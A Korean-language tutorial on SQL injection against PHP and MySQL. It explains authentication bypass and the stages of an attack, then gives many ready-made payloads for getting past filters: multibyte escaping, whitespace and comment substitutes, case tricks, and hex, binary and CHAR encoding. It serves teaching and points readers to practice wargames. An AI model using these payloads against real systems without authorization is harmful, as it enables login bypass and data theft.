<Hello SQL Injection>

Written by Safflower <st4rburst@naver.com>

목 차

1. 서 론

이 문서는 SQL Injection에 대해 학습하여 알게 된 지식들을 정리해볼 겸, SQL Injection에 이제 막 흥미가 생기신 분들에게 도움이 되었으면 하는 마음에 작성하였으니 미약하게나마 도움이 되었으면 좋겠습니다.
SQL Injection은 다양한 환경에서 가능하지만 이 문서에서는 PHP 7.0과 MySQL 5.5를 기준으로 작성하였습니다.
오타 제보나 내용 지적, 문의 등은 <st4rburst@naver.com>으로 연락해주시면 감사하겠습니다.

2. What is SQL Injection?

SQL Injection은 Code Injection 기술의 일종이며, 데이터베이스 관리에 사용되는 언어인 SQL을 통해 데이터베이스에 접근할 때, SQL 구문에 비정상적인 구문을 삽입하여 공격하는 공격 기법입니다.
주로 클라이언트에서 서버로 전송하는 입력 값을 조작하여 행하게 되며, 이는 애플리케이션 개발자가 클라이언트에서 입력 받은 값을 올바르게 필터링, 이스케이프하지 못하여 발생하는 취약점입니다.
이를 통해 데이터베이스 내의 정보를 무단으로 유출 및 변조하거나, 데이터베이스 기반의 인증을 우회하는 등의 여러 가지 공격이 가능합니다.

OWASP Top 10 for 2013:

A1	Injection
A2	Broken Authentication and Session Management
A3	Cross-Site Scripting (XSS)
A4	Insecure Direct Object References
A5	Security Misconfiguration
A6	Sensitive Data Exposure
A7	Missing Function Level Access Control
A8	Cross-Site Request Forgery (CSRF)
A9	Using Components with Known Vulnerabilities
A10	Unvalidated Redirects and Forwards

SQL Injection은 처음 발표된 지 상당히 오래된 기법임에도 불구하고, 아직까지도 많은 웹 사이트가 SQL Injection에 취약하며, 2013년에 국제 웹 보안 표준 기구 OWASP에서 발표한 웹 주요 취약점 Top 10에서도 1위를 차지하고 있습니다.

우선 SQL Injection을 학습하기에 앞서서 SQL에 대한 기본적인 이해가 필요합니다.
클라이언트에서 입력 값(e.g. id=admin&pw=1234)을 전송하면, 웹서버에선 입력받은 값의 일부로 SQL 구문(e.g. SELECT * FROM users WHERE id='admin' AND pw='1234';)을 작성하여 SQL 서버로 전송하고, SQL 서버에서는 입력받은 SQL 구문대로 명령을 실행합니다.
이때 웹서버에서 SQL 구문을 작성해서 SQL 서버로 전송해야하기 때문에, SQL Injection이 발생할 여지가 생기게 됩니다.
소스코드를 동반한 간단한 예를 들어보겠습니다.

```
~~~ 생략 ~~~
$query = "SELECT * FROM table WHERE id='admin' AND pw='{$pw}';";
$result = @mysqli_fetch_array( mysqli_query( $con, $query ) );
if ( isset( $result['id'] ) ) admin_login_ok();
~~~ 생략 ~~~
```

위 소스코드와 같이 관리자의 권한 여부를 인증하는 웹페이지가 있을 때, {$pw}에 들어갈 값은 사용자가 입력할 수 있으며, 당연히 위 조건을 만족시킬 수 있는 정상적인 {$pw}의 값은 모른다고 가정하고 SQL Injection을 실행해보겠습니다.

```
SELECT * FROM table WHERE id='admin' AND pw='' OR '123'='123';
```

물론 다양한 SQL Injection이 가능하겠지만, 간단하게 {$pw}에 ' OR '123'='123를 삽입하면 SQL Injection이 성공하여 admin의 pw를 몰라도 인증에 성공하게 됩니다.
위 구문을 직역하면 id가 admin이며 pw가 비어있는 경우이거나, 123은 123인 경우를 참(True)이 되어 Select 한다는 의미입니다.
참고로, 논리학에 의하면 AND 연산의 우선순위가 OR 연산보다 우위에 있습니다.
그렇기 때문에 SQL 구문은 **<id='admin'>이고 <pw='' OR '123'='123'>일 때**가 아닌,
<id='admin' AND pw=''> 혹은 <'123'='123'>일 때 조건이 참(True)으로써 작동하게 됩니다.

3. Scenario of SQL Injection

SQL Injection을 실제로 활용하기 위해선 크게 다음과 같은 단계로 분류할 수 있습니다.

1. 웹사이트에서 사용자가 값을 전달할 수 있는 수단을 발견합니다.
여기서 값을 전달할 수 있는 수단은 주로 $_POST (아이디나 비밀번호 등), $_GET (URL에 포함된 게시물의 고유번호 등)가 있으며 상황에 따라서 $_FILE (업로드한 파일), $_SERVER (Cookie나 User-Agent 등)와 같은 곳에도 가능합니다.

2. 의심되는 곳에 SQL Injection을 유발할만한 값을 넣어봄으로써 가능 여부를 판단합니다.
예를 들어 http://www.test.com/board.php?no=3 라는 주소가 있다고 가정했을 때, http://www.test.com/board.php?no=4-1 도 같은 페이지로 이동되는 경우, SQL Injection이 가능할 것이라고 판단할 수 있습니다.
이스케이프 혹은 필터링이 있을 수 있으니, 이를 우회할 수 있을 만한 구문도 넣어보는 것이 좋습니다.

3. 여기서부터는 SQL Injection의 목적에 따라 해야할 일이 달라집니다.
3-1. SELECT 문의 결과를 조작하고 싶은 경우
자신이 원하는 값을 SELECT 하도록 WHERE 조건 구문을 변경하거나,
반환되는 값을 Union Based SQL Injection을 통해 직접 조작할 수 있습니다.

3-2. 데이터베이스로부터 정보를 획득하고 싶은 경우
3-2-1. SQL Injection이 가능한 해당 페이지에서 SQL 구문에 따른, 사용자가 인지할 수 있는 결과를 반환한다면,
자신이 원하는 값을 SELECT하도록 WHERE 조건 구문을 변경하거나,
Union Based SQL Injection 혹은 Sub Query 등을 통해 SELECT문을 삽입하여 원하는 정보를 SELECT 하거나,
Blind SQL Injection을 통해 조금 무식하게 대입해서 원하는 정보를 획득할 수 있습니다.
SQL 함수 특유의 에러 메시지가 출력된다면 Error Based SQL Injection을 이용할 수 있습니다.
3-2-2. SQL Injection이 가능한 해당 페이지에서 SQL 구문에 따른, 사용자가 인지할 수 있는 결과를 반환하지 않는다면,
Time Based SQL Injection을 통해 동작 시간에 기반하여 정보를 획득할 수 있습니다.

3-3. 데이터베이스의 정보를 조작하고 싶은 경우
세미콜론(;)을 기준으로 다중 구문이 허용되는 환경이라면,
현재 구문을 세미콜론(;)으로 닫아주고 임의의 새로운 명령어를 입력해주면 됩니다.
하지만 다중 구문이 허용되지 않는 환경이라면,
UPDATE문, INSERT문, DELETE문 등에 SQL Injection하여 정보를 변경, 추가, 삭제할 수 있습니다.

4. How to bypass filter?

개발자들은 SQL Injection을 방지하기 위해 특정 문자열을 필터링하고는 하지만, 이를 소홀히 할 경우 공격의 대상이 될 수 있습니다.
일부 개발자는 magic_quotes_gpc 옵션을 켜두는 것으로 방어 대책을 마치는 경우가 있는데 이는 명백히 위험한 행위입니다.

e.g. a'b'c -> a₩'b₩'c
a"b"c -> a₩"b₩"c

magic_quotes_gpc 옵션을 켜두면 GPC ($_GET, $_POST, $_COOKIE) 값에 포함된 싱글쿼터('), 더블쿼터("), 백슬래시(₩), NULL(₩0) 문자의 앞에 백슬래시(₩)가 붙어 문자열로써 취급됩니다.
(이 기능은 PHP 5.3.0부터 배제되어, PHP 5.4.0부터 제거되었습니다.)
우선 여러 가지 시나리오를 예로 들어보겠습니다.

*** 일반적인 경우 (개발자가 의도한 시나리오)**

```
SELECT * FROM table WHERE id='admin' AND pw='{$pw}';
```

위와 같이 pw를 =연산자로 비교하는 구문이 있을 때, {$pw}에 공격 구문을 넣기 위해 싱글쿼터(')를 넣어야 하고,

```
SELECT * FROM table WHERE id='admin' AND pw='₩' OR id=₩'admin';
```

싱글쿼터(') 앞에 백슬래시(₩)가 붙으면 싱글쿼터(')를 하나의 문자열로써 취급하게 됩니다.
이는 개발자가 의도한 시나리오이며 SQL Injection 방어를 무사히 성공합니다.

*** LIKE, REGEXP 등의 연산자를 사용했을 경우**

```
SELECT * FROM table WHERE id='admin' AND pw LIKE '{$pw}';
SELECT * FROM table WHERE id='admin' AND pw REGEXP '{$pw}';
```

또 다른 예로 pw를 LIKE 연산자로 비교하는 구문이 있을 때에는 싱글쿼터(') 앞에 백슬래시(₩)를 붙이는 방법이 취약하게 됩니다.

```
SELECT * FROM table WHERE id='admin' AND pw LIKE '%';
SELECT * FROM table WHERE id='admin' AND pw REGEXP '$';
```

이처럼 위 두 연산자 내에서 싱글쿼터(')를 사용하지 않고 공격이 가능하기 때문입니다.
이 경우 Blind SQL Injection을 하기 에도 좋은 상황이며 이는 후에 설명하겠습니다.

*** 정수형인 경우**

```
SELECT * FROM table WHERE id='admin' AND pw={$pw};
```

에초에 pw가 정수형일 때는 싱글쿼터(')로 감싸지 않아도 되며 그럴 경우, 단지 싱글쿼터(')를 필터링하는 방법에는 취약하게 됩니다.

```
SELECT * FROM table WHERE id='admin' AND pw=123 OR id=0x61646D696E;
```

여기서 0x61646D696E는 싱글쿼터(')를 사용하지 않고 id='admin'을 대신하기 위해, 문자열을 ASCII로 변환하고 16진수로 나타낸 값입니다.

*** 멀티바이트 언어셋 환경인 경우**

멀티바이트 언어셋을 사용하는 환경에서는 백슬래시(₩) 앞에 ₩xA1 ~ ₩xFE 값이 있으면 백슬래시까지 포함하여 하나의 문자로 취급됩니다.

e.g. ₩xA1₩x5C, ₩xA2₩x5C, ₩xA3₩x5C, ₩xFC₩x5C, ₩xFD₩x5C, ₩xFE₩x5C 등

(여기서 ₩xA1은 문자열로써 4글자인 ₩xA1를 말하는 것이 아닌, ASCII가 16진수로 0xA1인 문자를 말하는 겁니다. URL로 인코딩한다면 %A1입니다. 그리고 ₩x5C는 백슬래시(₩)를 의미합니다.)

```
SELECT * FROM table WHERE id='admin' AND pw='{$pw}';
```

위와 같이 pw를 =연산자로 비교하는 구문이 있을 때,

```
SELECT * FROM table WHERE id='admin' AND pw='₩xA1' OR id=0x61646D696E #';
```

₩xA1' OR id=0x61646D696E #를 넣어서 공격을 시도하면, 싱글쿼터(') 앞에 백슬래시(₩)가 붙고,

```
SELECT * FROM table WHERE id='admin' AND pw='?' OR id=0x61646D696E #';
```

그렇게 되면 ₩xA1과 백슬래시(₩)가 하나의 문자(**?**)로 취급되어 공격이 성공하게 됩니다.
참고로 공격 구문 마지막에 붙인 #은 SQL에서 주석을 의미하며 맨 뒤의 싱글쿼터(')를 무시하기 위해 사용했습니다.

*** GPC 이외의 다른 파라미터는 사용하는 경우**

magic_quotes_gpc 옵션은 GPC ($_GET, $_POST, $_COOKIE) 이외의 다른 파라미터는 방어하지 않습니다.
따라서 GPC 외의 사용자로부터 입력받는 $_FILE, $_SERVER 등의 변수를 그대로 SQL 구문에 집어넣는 소스코드가 있다면 이는 공격의 대상이 될 수 있습니다.

이번에는 magic_quotes_gpc 옵션이 아닌 다른 필터링의 우회 방법들에 대해 서술해보겠습니다.

*** 공백 문자를 필터링하는 경우**

```
SELECT * FROM table WHERE id='admin' AND pw='{$pw}';
```

이제 공백( )을 필터링할 때의 우회 방법에 대해서 위 구문을 예로 들어서 설명해보겠습니다.

```
SELECT * FROM table WHERE id='admin' AND pw=''₩x09OR₩x09id='admin';
SELECT * FROM table WHERE id='admin' AND pw=''₩x0AOR₩x0Aid='admin';
SELECT * FROM table WHERE id='admin' AND pw=''₩x0BOR₩x0Bid='admin';
SELECT * FROM table WHERE id='admin' AND pw=''₩x0COR₩x0Cid='admin';
SELECT * FROM table WHERE id='admin' AND pw=''₩x0DOR₩x0Did='admin';
SELECT * FROM table WHERE id='admin' AND pw=''₩xA0OR₩xA0id='admin';
SELECT * FROM table WHERE id='admin' AND pw=''/*hello*/OR/*world*/id='admin';
```

공백( )을 대체할 수 있는 문자들은 ₩x09, ₩x0A, ₩x0B, ₩x0C, ₩x0D, ₩xA0, 주석(/* */) 등이 있습니다.

```
SELECT * FROM table WHERE id='admin' AND pw=''or(id='admin')#';
```

또한 상황에 따라서는 괄호를 이용해서 대체할 수 도 있습니다.

```
SELECT * FROM table WHERE id='admin' AND pw=''||id='admin';
```

위와 비슷하게 공백( )을 사용하지 않아도 되는 상황을 만들어서 우회할 수 도 있습니다.
참고로 OR 연산자는 ||로, AND 연산자는 &&로 대체하여 사용할 수 있습니다.

*** 주석을 필터링하는 경우**

```
SELECT * FROM table WHERE no={$no} AND id='{$id}' AND pw='{$pw};
```

이제 주석을 필터링할 때의 우회 방법에 대해서 위 구문을 예로 들어서 설명해보겠습니다.

```
SELECT * FROM table WHERE no=123 OR id='admin'# id='' AND pw='';
SELECT * FROM table WHERE no=123 OR id='admin'-- id='' AND pw='';
SELECT * FROM table WHERE no=123 OR/*id='' AND pw='*/ id='admin';
```

기본적으로 SQL의 주석에는 #, --, /* */ 등이 있습니다.
/* */ 주석은 /*로 열고 */로 반드시 닫아주어야 하고, -- 주석은 싱글쿼터 내에선 작동하지 않는 점을 주의하시기 바랍니다.

```
SELECT * FROM table WHERE id='admin' AND pw='or(id='admin');₩x00';
```

또한 ;과 NULL 문자를 붙여서 주석처럼 구문을 종료할 수 있습니다.

이제 다른 키워드들을 필터링할 때의 우회 방법에 대해서 예로 들어 설명해보겠습니다.

*** OR과 AND를 필터링하는 경우**

```
SELECT * FROM table WHERE id='admin' AND pw='{$pw}';
```

이제 OR과 AND를 필터링할 때의 우회 방법에 대해서 위 구문을 예로 들어서 설명해보겠습니다.

```
SELECT * FROM table WHERE id='admin' AND pw='' oR id='admin';
SELECT * FROM table WHERE id='admin' AND pw='' aNd id='admin';
```

대소문자를 구분한다면 이처럼 대소문자를 바꿈으로써 우회할 수 있습니다.

```
SELECT * FROM table WHERE id='admin' AND pw='' || id='admin';
SELECT * FROM table WHERE id='admin' AND pw='' || id='admin' && isadmin='1';
```

만약 안된다면 OR와 AND를 각각 ||와 &&로 대체하여 우회할 수 있습니다.

*** 문자열을 필터링으로 인해 입력하지 못하는 경우**

```
SELECT * FROM table WHERE id='admin' AND pw='{$pw}';
```

예를 들어 admin이라는 문자열을 필터링할 때의 우회 방법에 대해서 위 구문을 예로 들어서 설명해보겠습니다.

```
SELECT * FROM table WHERE id='admin' AND pw='' or id='ad' 'min';
```

먼저 mysql에서 'admin'과 'ad' 'min'는 같다는 걸 이용하여 문자열을 잘라서 넣어 우회하는 방법입니다.

```
SELECT * FROM table WHERE id='admin' AND pw='' || id=0x61646D696E #';
SELECT * FROM table WHERE id='admin' AND pw='' || id=x'61646D696E' #';
SELECT * FROM table WHERE id='admin' AND pw='' || id=0b1100001011001000110110101101001011011110 #';
SELECT * FROM table WHERE id='admin' AND pw='' || id=b'1100001011001000110110101101001011011110' #';
```

그리고 16진수나 2진수로 입력하는 방법이 있습니다. 2번째 방법은 mysql 5 이후에 추가된 기능입니다.

```
SELECT * FROM table WHERE id='admin' AND pw='' || id=CONCAT(CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110))#';
SELECT * FROM table WHERE id='admin' AND pw='' || id=LOWER(CONCAT(CONV(10,10,36),CONV(10,13,36),CONV(10,22,36),CONV(10,18,36),CONV(10,23,36)))#';
```

CONCAT 함수로 문자들을 합치는 방법도 있습니다.

이와 같이 여러가지 방법이 존재하며 다양한 SQL 함수, 가젯, 변수 등에 대해 알아두면 유용하게 활용할 수 있습니다.

5. How to study SQL Injection?

SQL Injection을 행하기 위해서는 우선 데이터베이스와 SQL 언어에 대해 공부해야 합니다. 그러기 위해서 SQL을 사용하는 간단한 사이트를 개발해보고, SQL Injection과 관련된 다양한 워게임, CTF 문제들을 풀어보는 것을 추천해드립니다.
나아가 직접 SQL Injection 문제를 만들어보고, 다양한 시도를 해보는 것도 좋다고 생각합니다.

참고로 SQL Injection을 연습할 수 있는 워게임에는 아래와 같은 사이트들이 있습니다.

* The Lord of the SQLI (http://los.eagle-jump.org/)
* Webhacking.kr (http://webhacking.kr/)
* Stereotyped Challenges (http://chall.stypr.com/)
* CodeShell (http://codeshell.kr/)
* Wargame.kr (http://wargame.kr/)
* Solve Me (http://solveme.kr/)

※ 허가받지 않는 타인의 서버에 무단으로 공격을 시도하는 것은 명백히 불법 행위입니다. 따라서 SQL Injection을 비롯해 해킹 공격은 반드시 자신의 서버나, 이를 연습하는 것을 허가받은 서버에서 연습해야 합니다.

6. 참 고 자 료

OWASP Top 10 for 2013:
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project#tab=OWASP_Top_10_for_2013

magic_quotes_gpc 관련:
http://php.net/manual/en/info.configuration.php#ini.magic-quotes-gp